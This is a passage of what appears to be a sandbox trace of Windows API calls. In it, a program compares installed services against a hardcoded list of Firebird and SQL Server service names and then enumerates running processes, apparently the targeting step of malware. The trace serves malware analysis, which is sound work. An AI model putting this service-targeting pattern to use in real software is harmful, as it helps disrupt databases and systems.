lpString2="CoreMessagingRegistrar") returned 1 [0271.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0271.067] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0271.067] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0271.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0271.067] lstrlenW (lpString="CryptSvc") returned 8 [0271.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.067] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.067] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.068] lstrlenW (lpString="DcomLaunch") returned 10 [0271.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.068] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.068] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.068] lstrlenW (lpString="DeviceAssociationService") returned 24 [0271.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.068] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0271.068] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0271.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0271.068] lstrlenW (lpString="Dhcp") returned 4 [0271.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.068] lstrlenW (lpString="Dnscache") returned 8 [0271.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.068] lstrlenW (lpString="DPS") returned 3 [0271.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.068] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.069] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.069] lstrlenW (lpString="DusmSvc") returned 7 [0271.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0271.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0271.069] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0271.069] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0271.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0271.069] lstrlenW (lpString="EventLog") returned 8 [0271.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0271.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0271.069] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0271.069] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0271.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0271.069] lstrlenW (lpString="EventSystem") returned 11 [0271.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.069] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.069] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.069] lstrlenW (lpString="FontCache") returned 9 [0271.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0271.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0271.069] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0271.069] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0271.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0271.069] lstrlenW (lpString="gpsvc") returned 5 [0271.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.069] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.069] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.070] lstrlenW (lpString="iphlpsvc") returned 8 [0271.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.070] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0271.070] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0271.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0271.070] lstrlenW (lpString="KeyIso") returned 6 [0271.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0271.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0271.070] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0271.070] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0271.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0271.070] lstrlenW (lpString="LanmanServer") returned 12 [0271.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0271.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0271.070] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0271.070] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0271.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0271.070] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.070] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.070] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.070] lstrlenW (lpString="lfsvc") returned 5 [0271.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0271.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0271.070] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0271.070] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0271.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0271.071] lstrlenW (lpString="lmhosts") returned 7 [0271.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0271.071] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0271.071] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0271.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0271.071] lstrlenW (lpString="LSM") returned 3 [0271.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0271.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0271.071] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0271.071] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0271.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0271.071] lstrlenW (lpString="MpsSvc") returned 6 [0271.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0271.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0271.071] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0271.071] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0271.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0271.071] lstrlenW (lpString="NcbService") returned 10 [0271.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0271.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0271.071] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0271.071] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0271.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0271.071] lstrlenW (lpString="netprofm") returned 8 [0271.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0271.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0271.071] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0271.071] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0271.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0271.071] lstrlenW (lpString="NgcSvc") returned 6 [0271.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0271.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0271.072] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0271.134] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0271.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0271.134] lstrlenW (lpString="NlaSvc") returned 6 [0271.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0271.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0271.135] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0271.135] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0271.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0271.135] lstrlenW (lpString="nsi") returned 3 [0271.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0271.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0271.135] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0271.135] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0271.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0271.135] lstrlenW (lpString="PcaSvc") returned 6 [0271.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0271.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0271.135] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0271.135] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0271.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0271.135] lstrlenW (lpString="PlugPlay") returned 8 [0271.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0271.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0271.136] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0271.136] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0271.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0271.136] lstrlenW (lpString="Power") returned 5 [0271.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0271.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0271.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0271.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0271.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0271.136] lstrlenW (lpString="ProfSvc") returned 7 [0271.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0271.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0271.136] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0271.136] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0271.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0271.136] lstrlenW (lpString="RpcEptMapper") returned 12 [0271.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.136] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0271.136] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0271.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0271.137] lstrlenW (lpString="RpcSs") returned 5 [0271.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0271.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0271.137] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0271.137] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0271.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0271.137] lstrlenW (lpString="SamSs") returned 5 [0271.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0271.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0271.137] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0271.137] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0271.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0271.137] lstrlenW (lpString="Schedule") returned 8 [0271.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0271.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0271.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0271.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0271.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0271.137] lstrlenW (lpString="SecurityHealthService") returned 21 [0271.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0271.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0271.137] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0271.137] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0271.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0271.138] lstrlenW (lpString="SENS") returned 4 [0271.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0271.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0271.138] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0271.138] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0271.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0271.138] lstrlenW (lpString="ShellHWDetection") returned 16 [0271.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.138] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0271.138] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0271.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0271.138] lstrlenW (lpString="Spooler") returned 7 [0271.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0271.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0271.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0271.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0271.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0271.138] lstrlenW (lpString="SSDPSRV") returned 7 [0271.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0271.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0271.138] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0271.138] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0271.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0271.139] lstrlenW (lpString="StateRepository") returned 15 [0271.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0271.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0271.139] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0271.139] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0271.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0271.139] lstrlenW (lpString="SysMain") returned 7 [0271.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0271.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0271.139] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0271.139] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0271.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0271.139] lstrlenW (lpString="SystemEventsBroker") returned 18 [0271.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0271.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0271.139] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0271.139] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0271.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0271.139] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0271.146] Process32FirstW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.147] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.147] lstrlenW (lpString="System") returned 6 [0271.147] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.148] lstrlenW (lpString="smss.exe") returned 8 [0271.148] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.149] lstrlenW (lpString="csrss.exe") returned 9 [0271.149] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.150] lstrlenW (lpString="wininit.exe") returned 11 [0271.150] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.150] lstrlenW (lpString="csrss.exe") returned 9 [0271.150] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.151] lstrlenW (lpString="winlogon.exe") returned 12 [0271.151] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.152] lstrlenW (lpString="services.exe") returned 12 [0271.152] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.152] lstrlenW (lpString="lsass.exe") returned 9 [0271.153] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.153] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.153] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.154] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.154] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.155] lstrlenW (lpString="svchost.exe") returned 11 [0271.155] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.159] lstrlenW (lpString="svchost.exe") returned 11 [0271.160] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.160] lstrlenW (lpString="dwm.exe") returned 7 [0271.160] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.161] lstrlenW (lpString="svchost.exe") returned 11 [0271.161] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.161] lstrlenW (lpString="svchost.exe") returned 11 [0271.162] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.162] lstrlenW (lpString="svchost.exe") returned 11 [0271.162] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.163] lstrlenW (lpString="svchost.exe") returned 11 [0271.163] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.164] lstrlenW (lpString="svchost.exe") returned 11 [0271.164] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, 